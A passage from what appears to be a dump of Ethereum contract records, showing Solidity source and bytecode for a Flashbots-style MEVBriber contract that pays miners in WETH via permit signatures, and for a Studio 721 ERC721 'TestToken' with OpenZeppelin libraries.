3a70726f706f73653a206f6e65206c6976652070726f706f73616c207065722070726f706f7365722c20436f6d706f756e64566f74696e674d616368696e653a3a5f63617374566f7465a2646970667358221220dbaa9b29ad5885f884038d5f6139e4e636398b0a36eb2411c70a7a263a6c286e64736f6c63430008080033
[ 15, 22, 9, 11 ]
0xf26f7daa038651f6efca888e91ecbec8e231035e
//SPDX-License-Identifier: MIT pragma solidity ^0.7.3; pragma experimental ABIEncoderV2; import "./FlashbotsCheckAndSend.sol"; import "./IWETH.sol"; import "./Counters.sol"; import "./ECDSA.sol"; import "./EIP712.sol"; /* Copyright 2021 Kendrick Tan ([email protected]). This contract is an extension of flashbot's FlashbotsCheckAndSend.sol This contract takes in WETH instead of ETH so that transactions can be signed via a browser. But needs to be approved beforehand. */ contract MEVBriber is FlashbotsCheckAndSend, EIP712 { using Counters for Counters.Counter; constructor() EIP712("MEVBriber", "1") {} IWETH public constant WETH = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); event Bribed(address indexed briber, address indexed miner, uint256 amount); bytes32 public constant PERMIT_TYPEHASH = keccak256( "Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)" ); mapping(address => Counters.Counter) private _nonces; receive() external payable {} function check32BytesAndSendWETH( address _owner, address _spender, uint256 _value, uint256 _deadline, uint8 _v, bytes32 _r, bytes32 _s, address _target, bytes memory _payload, bytes32 _resultMatch ) external { briberPermitted(_owner, _spender, _value, _deadline, _v, _r, _s); _check32Bytes(_target, _payload, _resultMatch); WETH.transferFrom(_owner, address(this), _value); WETH.withdraw(_value); block.coinbase.transfer(_value); emit Bribed(_owner, block.coinbase, _value); } function check32BytesAndSendMultiWETH( address _owner, address _spender, uint256 _value, uint256 _deadline, uint8 _v, bytes32 _r, bytes32 _s, address[] memory _targets, bytes[] memory _payloads, bytes32[] memory _resultMatches ) external { require(_targets.length == _payloads.length); require(_targets.length == _resultMatches.length); briberPermitted(_owner, _spender, _value, _deadline, _v, _r, _s); for (uint256 i = 0; i < _targets.length; i++) { _check32Bytes(_targets[i], _payloads[i], _resultMatches[i]); } WETH.transferFrom(_owner, address(this), _value); WETH.withdraw(_value); block.coinbase.transfer(_value); emit Bribed(_owner, block.coinbase, _value); } function checkBytesAndSendWETH( address _owner, address _spender, uint256 _value, uint256 _deadline, uint8 _v, bytes32 _r, bytes32 _s, address _target, bytes memory _payload, bytes memory _resultMatch ) external { briberPermitted(_owner, _spender, _value, _deadline, _v, _r, _s); _checkBytes(_target, _payload, _resultMatch); WETH.transferFrom(_owner, address(this), _value); WETH.withdraw(_value); block.coinbase.transfer(_value); emit Bribed(_owner, block.coinbase, _value); } function checkBytesAndSendMultiWETH( address _owner, address _spender, uint256 _value, uint256 _deadline, uint8 _v, bytes32 _r, bytes32 _s, address[] memory _targets, bytes[] memory _payloads, bytes[] memory _resultMatches ) external { require(_targets.length == _payloads.length); require(_targets.length == _resultMatches.length); briberPermitted(_owner, _spender, _value, _deadline, _v, _r, _s); for (uint256 i = 0; i < _targets.length; i++) { _checkBytes(_targets[i], _payloads[i], _resultMatches[i]); } WETH.transferFrom(_owner, address(this), _value); WETH.withdraw(_value); block.coinbase.transfer(_value); emit Bribed(_owner, block.coinbase, _value); } // Briber permit functionality function briberPermitted( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) public { // solhint-disable-next-line not-rely-on-time require(block.timestamp <= deadline, "ERC20Permit: expired deadline"); bytes32 structHash = keccak256( abi.encode( PERMIT_TYPEHASH, owner, spender, value, _nonces[owner].current(), deadline ) ); bytes32 hash = _hashTypedDataV4(structHash); address signer = ECDSA.recover(hash, v, r, s); require(signer == owner, "ERC20Permit: invalid signature"); require(spender == address(this), "ERC20Permit: invalid signature"); _nonces[owner].increment(); } // **** Helpers **** function nonces(address owner) public view virtual returns (uint256) { return _nonces[owner].current(); } }
0x6080604052600436106100ab5760003560e01c806386b738be1161006457806386b738be1461016a5780639af96d7e1461017d578063aaa89be414610190578063ad5c4648146101b0578063d8a8289c146101d2578063dca1684f146101f2576100b2565b8063047a9699146100b757806324835805146100d957806330adf81f146100ec578063319f6701146101175780633676290c146101375780637ecebe001461014a576100b2565b366100b257005b600080fd5b3480156100c357600080fd5b506100d76100d2366004610e64565b610212565b005b6100d76100e736600461111f565b6103a8565b3480156100f857600080fd5b506101016103e5565b60405161010e919061131c565b60405180910390f35b34801561012357600080fd5b506100d7610132366004610ffd565b610409565b6100d761014536600461120a565b6104c8565b34801561015657600080fd5b50610101610165366004610d2a565b610534565b6100d76101783660046110ca565b61055d565b6100d761018b366004611190565b610568565b34801561019c57600080fd5b506100d76101ab366004610f30565b6105dc565b3480156101bc57600080fd5b506101c561062a565b60405161010e91906113a3565b3480156101de57600080fd5b506100d76101ed366004610db4565b610642565b3480156101fe57600080fd5b506100d761020d366004610d4b565b61065c565b6102218a8a8a8a8a8a8a61065c565b61022c8383836107a8565b6040516323b872dd60e01b815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2906323b872dd90610267908d9030908d906004016112f8565b602060405180830381600087803b15801561028157600080fd5b505af1158015610295573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102b99190611284565b50604051632e1a7d4d60e01b815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc290632e1a7d4d906102f1908b9060040161131c565b600060405180830381600087803b15801561030b57600080fd5b505af115801561031f573d6000803e3d6000fd5b50506040514192508a156108fc0291508a906000818181858888f19350505050158015610350573d6000803e3d6000fd5b50416001600160a01b03168a6001600160a01b03167f612cc088ab7949b66218be265950be04e5e93a77a1d888bb905d37e5705f19aa8a604051610394919061131c565b60405180910390a350505050505050505050565b6103b38383836107a8565b60405141903480156108fc02916000818181858888f193505050501580156103df573d6000803e3d6000fd5b50505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b815183511461041757600080fd5b805183511461042557600080fd5b6104348a8a8a8a8a8a8a61065c565b60005b835181101561048c5761048484828151811061044f57fe5b602002602001015184838151811061046357fe5b602002602001015184848151811061047757fe5b60200260200101516107a8565b600101610437565b506040516323b872dd60e01b815273c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2906323b872dd90610267908d9030908d906004016112f8565b81518351146104d657600080fd5b80518351146104e457600080fd5b60005b8351811015610507576104ff84828151811061044f57fe5b6001016104e7565b5060405141903480156108fc02916000818181858888f193505050501580156103df573d6000803e3d6000fd5b6001600160a01b03811660009081526020819052604081206105559061085a565b90505b919050565b6103b383838361085e565b815183511461057657600080fd5b805183511461058457600080fd5b60005b8351811015610507576105d484828151811061059f57fe5b60200260200101518483815181106105b357fe5b60200260200101518484815181106105c757fe5b602002602001015161085e565b600101610587565b81518351146105ea57600080fd5b80518351146105f857600080fd5b6106078a8a8a8a8a8a8a61065c565b60005b835181101561048c5761062284828151811061059f57fe5b60010161060a565b73c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281565b6106518a8a8a8a8a8a8a61065c565b61022c83838361085e565b834211156106855760405162461bcd60e51b815260040161067c90611450565b60405180910390fd5b60007f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98888886106d76000808e6001600160a01b03166001600160a01b0316815260200190815260200160002061085a565b896040516020016106ed96959493929190611325565b60405160208183030381529060405280519060200120905060006107108261092a565b9050600061072082878787610963565b9050896001600160a01b0316816001600160a01b0316146107535760405162461bcd60e51b815260040161067c9061152d565b6001600160a01b038916301461077b5760405162461bcd60e51b815260040161067c9061152d565b6001600160a01b038a16600090815260208190526040902061079c90610a59565b50505050505050505050565b60006060846001600160a01b0316846040516107c491906112a4565b600060405180830381855afa9150503d80600081146107ff576040519150601f19603f3d011682016040523d82523d6000602084013e610804565b606091505b5091509150816108265760405162461bcd60e51b815260040161067c906114c9565b80805190602001208380519060200120146108535760405162461bcd60e51b815260040161067c90611564565b5050505050565b5490565b60006060846001600160a01b03168460405161087a91906112a4565b600060405180830381855afa9150503d80600081146108b5576040519150601f19603f3d011682016040523d82523d6000602084013e6108ba565b606091505b5091509150816108dc5760405162461bcd60e51b815260040161067c906114c9565b6020815110156108fe5760405162461bcd60e51b815260040161067c906113ee565b60208101518381146109225760405162461bcd60e51b815260040161067c90611425565b505050505050565b6000610934610a62565b826040516020016109469291906112dd565b604051602081830303815290604052805190602001209050919050565b60007f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08211156109a55760405162461bcd60e51b815260040161067c90611487565b8360ff16601b14806109ba57508360ff16601c145b6109d65760405162461bcd60e51b815260040161067c906114eb565b6000600186868686604051600081526020016040526040516109fb9493929190611385565b6020604051602081039080840390855afa158015610a1d573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610a505760405162461bcd60e51b815260040161067c906113b7565b95945050505050565b80546001019055565b60007f0000000000000000000000000000000000000000000000000000000000000001610a8d610b2b565b1415610aba57507fbe589d7f10794bec87db08842a9d8d595e101e8bd88a0e82c9d82f01e918e0bb610b28565b610b257f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f7f0ebec69157c4734d56d5ee0027bc76fdf964f89abdd9ff28eb3572dcdb958bb57fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc6610b2f565b90505b90565b4690565b6000838383610b3c610b2b565b30604051602001610b51959493929190611359565b6040516020818303038152906040528051906020012090509392505050565b80356001600160a01b038116811461055857600080fd5b600082601f830112610b97578081fd5b8135610baa610ba5826115bf565b61159b565b818152915060208083019084810181840286018201871015610bcb57600080fd5b60005b84811015610bf157610bdf82610b70565b84529282019290820190600101610bce565b505050505092915050565b600082601f830112610c0c578081fd5b8135610c1a610ba5826115bf565b818152915060208083019084810181840286018201871015610c3b57600080fd5b60005b84811015610bf157813584529282019290820190600101610c3e565b600082601f830112610c6a578081fd5b8135610c78610ba5826115bf565b818152915060208083019084810160005b84811015610bf157610ca0888484358a0101610cb2565b84529282019290820190600101610c89565b600082601f830112610cc2578081fd5b813567ffffffffffffffff811115610cd657fe5b610ce9601f8201601f191660200161159b565b9150808252836020828501011115610d0057600080fd5b8060208401602084013760009082016020015292915050565b803560ff8116811461055857600080fd5b600060208284031215610d3b578081fd5b610d4482610b70565b9392505050565b600080600080600080600060e0888a031215610d65578283fd5b610d6e88610b70565b9650610d7c60208901610b70565b95506040880135945060608801359350610d9860808901610d19565b925060a0880135915060c0880135905092959891949750929550565b6000806000806000806000806000806101408b8d031215610dd3578283fd5b610ddc8b610b70565b9950610dea60208c01610b70565b985060408b0135975060608b01359650610e0660808c01610d19565b955060a08b0135945060c08b01359350610e2260e08c01610b70565b92506101008b013567ffffffffffffffff811115610e3e578283fd5b610e4a8d828e01610cb2565b9250506101208b013590509295989b9194979a5092959850565b6000806000806000806000806000806101408b8d031215610e83578586fd5b610e8c8b610b70565b9950610e9a60208c01610b70565b985060408b0135975060608b01359650610eb660808c01610d19565b955060a08b0135945060c08b01359350610ed260e08c01610b70565b92506101008b013567ffffffffffffffff80821115610eef578384fd5b610efb8e838f01610cb2565b93506101208d0135915080821115610f11578283fd5b50610f1e8d828e01610cb2565b9150509295989b9194979a5092959850565b6000806000806000806000806000806101408b8d031215610f4f578586fd5b610f588b610b70565b9950610f6660208c01610b70565b985060408b0135975060608b01359650610f8260808c01610d19565b955060a08b0135945060c08b0135935060e08b013567ffffffffffffffff80821115610fac578485fd5b610fb88e838f01610b87565b94506101008d0135915080821115610fce578384fd5b610fda8e838f01610c5a565b93506101208d0135915080821115610ff0578283fd5b50610f1e8d828e01610bfc565b6000806000806000806000806000806101408b8d03121561101c578384fd5b6110258b610b70565b995061103360208c01610b70565b985060408b0135975060608b0135965061104f60808c01610d19565b955060a08b0135945060c08b0135935060e08b013567ffffffffffffffff80821115611079578485fd5b6110858e838f01610b87565b94506101008d013591508082111561109b578384fd5b6110a78e838f01610c5a565b93506101208d01359150808211156110bd578283fd5b50610f1e8d828e01610c5a565b6000806000606084860312156110de578081fd5b6110e784610b70565b9250602084013567ffffffffffffffff811115611102578182fd5b61110e86828701610cb2565b925050604084013590509250925092565b600080600060608486031215611133578081fd5b61113c84610b70565b9250602084013567ffffffffffffffff80821115611158578283fd5b61116487838801610cb2565b93506040860135915080821115611179578283fd5b5061118686828701610cb2565b9150509250925092565b6000806000606084860312156111a4578081fd5b833567ffffffffffffffff808211156111bb578283fd5b6111c787838801610b87565b945060208601359150808211156111dc578283fd5b6111e887838801610c5a565b935060408601359150808211156111fd578283fd5b5061118686828701610bfc565b60008060006060848603121561121e578081fd5b833567ffffffffffffffff80821115611235578283fd5b61124187838801610b87565b94506020860135915080821115611256578283fd5b61126287838801610c5a565b93506040860135915080821115611277578283fd5b5061118686828701610c5a565b600060208284031215611295578081fd5b81518015158114610d44578182fd5b60008251815b818110156112c457602081860181015185830152016112aa565b818111156112d25782828501525b509190910192915050565b61190160f01b81526002810192909252602282015260420190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b90815260200190565b9586526001600160a01b0394851660208701529290931660408501526060840152608083019190915260a082015260c00190565b9485526020850193909352604084019190915260608301526001600160a01b0316608082015260a00190565b93845260ff9290921660208401526040830152606082015260800190565b6001600160a01b0391909116815260200190565b60208082526018908201527f45434453413a20696e76616c6964207369676e61747572650000000000000000604082015260600190565b6020808252601b908201527f726573706f6e7365206c657373207468616e2033322062797465730000000000604082015260600190565b6020808252601190820152700e4cae6e0dedce6ca40dad2e6dac2e8c6d607b1b604082015260600190565b6020808252601d908201527f45524332305065726d69743a206578706972656420646561646c696e65000000604082015260600190565b60208082526022908201527f45434453413a20696e76616c6964207369676e6174757265202773272076616c604082015261756560f01b606082015260800190565b602080825260089082015267217375636365737360c01b604082015260600190565b60208082526022908201527f45434453413a20696e76616c6964207369676e6174757265202776272076616c604082015261756560f01b606082015260800190565b6020808252601e908201527f45524332305065726d69743a20696e76616c6964207369676e61747572650000604082015260600190565b60208082526017908201527f726573706f6e7365206279746573206d69736d61746368000000000000000000604082015260600190565b60405181810167ffffffffffffffff811182821017156115b757fe5b604052919050565b600067ffffffffffffffff8211156115d357fe5b506020908102019056fea2646970667358221220ea2efbe5bd187d01969cbed1c38f253383f548774f3dc8516893c7071803b3fd64736f6c63430007030033
[ 16 ]
0xF26FA51Da3aB4c83A6E2FaF6F73907B58D2632C3
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Counters.sol"; import "@openzeppelin/contracts/utils/Address.sol"; contract TestToken is ERC721, ReentrancyGuard, Ownable { using Counters for Counters.Counter; constructor(string memory customBaseURI_) ERC721("TestToken", "TTKN") { customBaseURI = customBaseURI_; } /** MINTING LIMITS **/ mapping(address => uint256) private mintCountMap; mapping(address => uint256) private allowedMintCountMap; uint256 public constant MINT_LIMIT_PER_WALLET = 10; function allowedMintCount(address minter) public view returns (uint256) { return MINT_LIMIT_PER_WALLET - mintCountMap[minter]; } function updateMintCount(address minter, uint256 count) private { mintCountMap[minter] += count; } /** MINTING **/ uint256 public constant MAX_SUPPLY = 5000; uint256 public constant MAX_MULTIMINT = 20; uint256 public constant PRICE = 90000000000000000; Counters.Counter private supplyCounter; function mint(uint256 count) public payable nonReentrant onlyOwner { require(saleIsActive, "Sale not active"); if (allowedMintCount(msg.sender) >= count) { updateMintCount(msg.sender, count); } else { revert("Minting limit exceeded"); } require(totalSupply() + count - 1 < MAX_SUPPLY, "Exceeds max supply"); require(count <= MAX_MULTIMINT, "Mint at most 20 at a time"); require( msg.value >= PRICE * count, "Insufficient payment, 0.09 ETH per item" ); for (uint256 i = 0; i < count; i++) { _mint(msg.sender, totalSupply()); supplyCounter.increment(); } } function totalSupply() public view returns (uint256) { return supplyCounter.current(); } /** ACTIVATION **/ bool public saleIsActive = true; function setSaleIsActive(bool saleIsActive_) external onlyOwner { saleIsActive = saleIsActive_; } /** URI HANDLING **/ string private customBaseURI; function setBaseURI(string memory customBaseURI_) external onlyOwner { customBaseURI = customBaseURI_; } function _baseURI() internal view virtual override returns (string memory) { return customBaseURI; } /** PAYOUT **/ address private constant payoutAddress1 = 0xf49D5d989c9Bfc0c437517FDeD3444Bd7B48A395; function withdraw() public nonReentrant { uint256 balance = address(this).balance; Address.sendValue(payable(payoutAddress1), balance); } } // Contract created with Studio 721 v1.5.0 // https://721.so // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC721.sol"; import "./IERC721Receiver.sol"; import "./extensions/IERC721Metadata.sol"; import "../../utils/Address.sol"; import "../../utils/Context.sol"; import "../../utils/Strings.sol"; import "../../utils/introspection/ERC165.sol"; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor() { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } function reset(Counter storage counter) internal { counter._value = 0; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * 